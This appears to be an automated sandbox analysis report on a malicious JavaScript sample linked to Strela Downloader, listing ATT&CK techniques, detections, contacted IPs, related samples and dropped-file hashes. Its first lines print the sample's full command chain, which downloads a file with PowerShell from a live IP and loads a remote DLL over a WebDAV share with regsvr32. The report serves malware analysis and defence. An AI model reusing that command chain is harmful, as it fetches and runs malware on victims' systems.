Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
247714231173424547.js	5%	Virustotal		Browse
247714231173424547.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/~	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/v	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2636083953.00000287A1200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/v	net.exe, 00000007.00000002.1426048811.000001E19B848000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1426155550.000001E19B8A0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1426048811.000001E19B848000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1410150143.000001E19B89E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1412322137.00000287A1030000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/~	net.exe, 00000007.00000002.1426048811.000001E19B848000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588139
Start date and time:	2025-01-10 21:47:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	247714231173424547.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 18.213.11.84, 54.224.241.105, 50.16.47.176, 34.237.241.83, 199.232.210.172, 2.16.168.105, 2.16.168.107, 23.40.179.25, 23.40.179.9, 23.40.179.4, 23.40.179.75, 23.40.179.69, 23.40.179.72, 23.40.179.22, 23.40.179.23, 23.40.179.15, 13.107.246.45, 3.233.129.217, 20.109.210.53, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:48:40	API Interceptor	22x Sleep call for process: powershell.exe modified
15:48:44	API Interceptor	1x Sleep call for process: net.exe modified
15:48:45	API Interceptor	2x Sleep call for process: svchost.exe modified
15:48:52	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	https://cocteldedeas.mx/rx567#cmVjaWJhc2VAc2VhbWFyaXRpbWEuY29t	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	I3LPkQh2an.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	13.107.246.45
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	13.107.246.45
	AuKUol8SPU.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
bg.microsoft.map.fastly.net	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	61969293196726215.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4932165677413175
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Ztav:cJhXC9lHmutpJyiRDeJ/aUKrDgnmV
MD5:	9173F2312F3840804801B75570E60C43
SHA1:	1788EBB33462299482E98A0B9E450CB76DDEFED2
SHA-256:	E9480478E7A9CF8C5F869AA136BA794A65108482A85C5A4E29560AD58A9FA8E1
SHA-512:	ABB41C18C98C497B4D8E28B98B71BD0B01A5FD81FDFC4C59D8D2CFCB8E2593C71A95BB0DBCEC7B8FFC2EC0D400A47204E6CFE0A32E2887B7BAD932959A3B56A6
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa421fd85, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216966964426437
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:razaNvFv8V2UW/DLzN/w4wZi
MD5:	863932CF5CB75562A994E274178920F2
SHA1:	22F6A48E073340C1C8CF6F4EC2794B5A6005D43A
SHA-256:	6F9E1E7E50BF8092C105BA2A91CD3A36B49810DCBB2229E3BA8EE9F3A4C3EBB5
SHA-512:	83AF468A49287C6C915ED5EFE5FF582084355F7EA27C2C6DBAA5184AAF5C9EF823401ACD5D10BDD6AB5C5ED76B5712A3D97B7A724122CAEE4A4F758A3AFA1EFB
Malicious:	false
Preview:	.!..... ...............X\...;...{......................p.D..........{}.-0...}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................*.SG-0...}..................+.E,-0...}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08149157434445777
Encrypted:	false
SSDEEP:	3:46tllKYe/Qor/fgsCrZClW/tNxJW/all+SHY/Xl+/rQLve:Jt/Kz/Qifgs3GDxJWGAS4M
MD5:	5893D03CD56DC4AA8BDB585A2945673D
SHA1:	B97C2208268EEB362D92AA8A45C7A89874F71D1A
SHA-256:	9EF601A9C44DDBD3C96CE703DD2689F33A2620A07E54F985C460BD9C4CE4FC0E
SHA-512:	42A7D1CDF7085764AB9CB3773C68CEB8E96177016B78632A9DF45D95F8345BE563474F97DDAE358AEEC19E354E93EA98D5EDF34BD6BCD7898E6B415883A6C87B
Malicious:	false
Preview:	..\|f.....................................;...{..-0...}.......{}..............{}......{}.vv_Q.....{}.................+.E,-0...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.237333538978651
Encrypted:	false
SSDEEP:	6:iO4UMO+q2PqLTwi2nKuAl9OmbnIFUtSU6ZmwsUWVkwOqLTwi2nKuAl9OmbjLJ:7hMO+v8wZHAahFUtL6/1WV5TwZHAaSJ
MD5:	F3A946248EE732C98F48DF0CEE65E3EF
SHA1:	5F0637D336D10B3732A56D91F549439345324F3B
SHA-256:	B8F54C8C3BFF40A9CED5C3ECC2CF61BDBA7149AD0C55354CA44B3282AA233713
SHA-512:	4E7C2E952744644606FA20B21C6544D3636B8BEA9E7ACD98A941F095162C33628B222BFA12EDAFF41E74D6ADFC6F3C1B76137181B5DE1A9ED2228050DDF0DEFB
Malicious:	false
Preview:	2025/01/10-15:48:44.929 1f2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:48:44.957 1f2c Recovering log #3.2025/01/10-15:48:44.957 1f2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.237333538978651
Encrypted:	false
SSDEEP:	6:iO4UMO+q2PqLTwi2nKuAl9OmbnIFUtSU6ZmwsUWVkwOqLTwi2nKuAl9OmbjLJ:7hMO+v8wZHAahFUtL6/1WV5TwZHAaSJ
MD5:	F3A946248EE732C98F48DF0CEE65E3EF
SHA1:	5F0637D336D10B3732A56D91F549439345324F3B
SHA-256:	B8F54C8C3BFF40A9CED5C3ECC2CF61BDBA7149AD0C55354CA44B3282AA233713
SHA-512:	4E7C2E952744644606FA20B21C6544D3636B8BEA9E7ACD98A941F095162C33628B222BFA12EDAFF41E74D6ADFC6F3C1B76137181B5DE1A9ED2228050DDF0DEFB
Malicious:	false
Preview:	2025/01/10-15:48:44.929 1f2c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:48:44.957 1f2c Recovering log #3.2025/01/10-15:48:44.957 1f2c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.195747009183476
Encrypted:	false
SSDEEP:	6:iO4U6qSN+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSU6eMcZmwsU6xNVkwOqLTwi2nK3:7h6N+v8wZHAa8uFUtL6rc/16rV5TwZHA
MD5:	7C9A4A7717D1E1CC29038E64BD64308D
SHA1:	289420DCA4B2F50DC65B307E08FB3A490C3D8521
SHA-256:	1E654B231D336E66529EB1F0665E22621DC0BCAF6E94DD70A10245003D9CD6E2
SHA-512:	223B96A263598DCFF058724AAB1DD6D3E2531C0BCB53A2DCDB0DB14751E87F4CF936AFA61E1CB613F45203F5F48AB76F9F4A6EE1D52E12214C8BDC8B749F05D2
Malicious:	false
Preview:	2025/01/10-15:48:45.075 1fdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:48:45.076 1fdc Recovering log #3.2025/01/10-15:48:45.077 1fdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.195747009183476
Encrypted:	false
SSDEEP:	6:iO4U6qSN+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSU6eMcZmwsU6xNVkwOqLTwi2nK3:7h6N+v8wZHAa8uFUtL6rc/16rV5TwZHA
MD5:	7C9A4A7717D1E1CC29038E64BD64308D
SHA1:	289420DCA4B2F50DC65B307E08FB3A490C3D8521
SHA-256:	1E654B231D336E66529EB1F0665E22621DC0BCAF6E94DD70A10245003D9CD6E2
SHA-512:	223B96A263598DCFF058724AAB1DD6D3E2531C0BCB53A2DCDB0DB14751E87F4CF936AFA61E1CB613F45203F5F48AB76F9F4A6EE1D52E12214C8BDC8B749F05D2
Malicious:	false
Preview:	2025/01/10-15:48:45.075 1fdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:48:45.076 1fdc Recovering log #3.2025/01/10-15:48:45.077 1fdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\52ecadbe-b672-4d8a-8e63-a7f9e54dd3e3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqicWEsBdOg2Hrcaq3QYiub5P7E4T3y:Y2sRdsjcKdMHS3QYhbt7nby
MD5:	345D4C769A24330DAC25BE34EA1FBE5A
SHA1:	379BE4F6DEB1008EFD59B16D9FE1C263A43254CA
SHA-256:	DE0368845A39015FB3E94DC4E3C32B3C04FC7B9E83D6802690BAD4FF3B5A5CD6
SHA-512:	C4EA132FD3EF4EA6E16983E2E39DFEFF2FA11D088B5D553242E3BDD630B9846023A47F492DF4F216C7D88786E645E57A9EEB48B6328BB67221B9DF2C0E415CC1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381102136646651","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125746},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqicWEsBdOg2Hrcaq3QYiub5P7E4T3y:Y2sRdsjcKdMHS3QYhbt7nby
MD5:	345D4C769A24330DAC25BE34EA1FBE5A
SHA1:	379BE4F6DEB1008EFD59B16D9FE1C263A43254CA
SHA-256:	DE0368845A39015FB3E94DC4E3C32B3C04FC7B9E83D6802690BAD4FF3B5A5CD6
SHA-512:	C4EA132FD3EF4EA6E16983E2E39DFEFF2FA11D088B5D553242E3BDD630B9846023A47F492DF4F216C7D88786E645E57A9EEB48B6328BB67221B9DF2C0E415CC1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381102136646651","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125746},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.220612262371194
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzyCCBSan0:1CDLCmPj8j0/8qKgwPHYPx8xemT8Ozym
MD5:	B5F4D298A9838B895E8E39244B7068D5
SHA1:	461AA38124A46ABCE825AE34C48716E97ACD18F1
SHA-256:	C2EAC90C949F20D1364EF2BE4356A79CA3C06133FD3D8977320EAF12BBDE7386
SHA-512:	3ED20BB77E40DC1C670C1A512A291398A0BDB8D6678DAAAE18F609CDF3DA7940B998B72C3A55B5F884DA304417694E1B5987F6FDDA6C10867AA20D4822E8A06E
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.180042110534429
Encrypted:	false
SSDEEP:	6:iO4U6fsN+q2PqLTwi2nKuAl9OmbzNMxIFUtSU6BZmwsU6FwNVkwOqLTwi2nKuAlG:7h6kN+v8wZHAa8jFUtL6B/16GNV5TwZv
MD5:	4D3E92B018EEDF5B9A63CF0D2F1705CB
SHA1:	5DE0C7029138004F2B16E642D934BBF593A3652D
SHA-256:	34BDCE9B31DC8681B1B4485AF736E5547FC8460FE8EF7B3BCBFC2F37D77BA3F3
SHA-512:	101F33E37E489269B75CE074964B391BA70C6AA278C7449BB8CD24D5FA84B1703E0F0E6E8470C056942B713918C5800119DE9125C7C122336A7E255840F4E8FB
Malicious:	false
Preview:	2025/01/10-15:48:45.380 1fdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:48:45.413 1fdc Recovering log #3.2025/01/10-15:48:45.430 1fdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.180042110534429
Encrypted:	false
SSDEEP:	6:iO4U6fsN+q2PqLTwi2nKuAl9OmbzNMxIFUtSU6BZmwsU6FwNVkwOqLTwi2nKuAlG:7h6kN+v8wZHAa8jFUtL6B/16GNV5TwZv
MD5:	4D3E92B018EEDF5B9A63CF0D2F1705CB
SHA1:	5DE0C7029138004F2B16E642D934BBF593A3652D
SHA-256:	34BDCE9B31DC8681B1B4485AF736E5547FC8460FE8EF7B3BCBFC2F37D77BA3F3
SHA-512:	101F33E37E489269B75CE074964B391BA70C6AA278C7449BB8CD24D5FA84B1703E0F0E6E8470C056942B713918C5800119DE9125C7C122336A7E255840F4E8FB
Malicious:	false
Preview:	2025/01/10-15:48:45.380 1fdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:48:45.413 1fdc Recovering log #3.2025/01/10-15:48:45.430 1fdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 12, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 12
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4385825379682045
Encrypted:	false
SSDEEP:	384:ieHci5GdiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:wxurVgazUpUTTGt
MD5:	7C5C0E0E2406DC2912F63F8F0DFB0B8C
SHA1:	1516D956726FAD252C4B97E9B169490D785FC0DC
SHA-256:	2425669779CD8A5318409BECA430EBEBCD3EC2A0B8E175DA06A76826F291D781
SHA-512:	37828558564D009A9108088C9CAF5413DD680AC2A687D648B6C2E1779A8C3E2F4DE5AEA15D2B3825C5A6E38862B4E16EB78A8871CF7E30AE490A5A1D4411A819
Malicious:	false
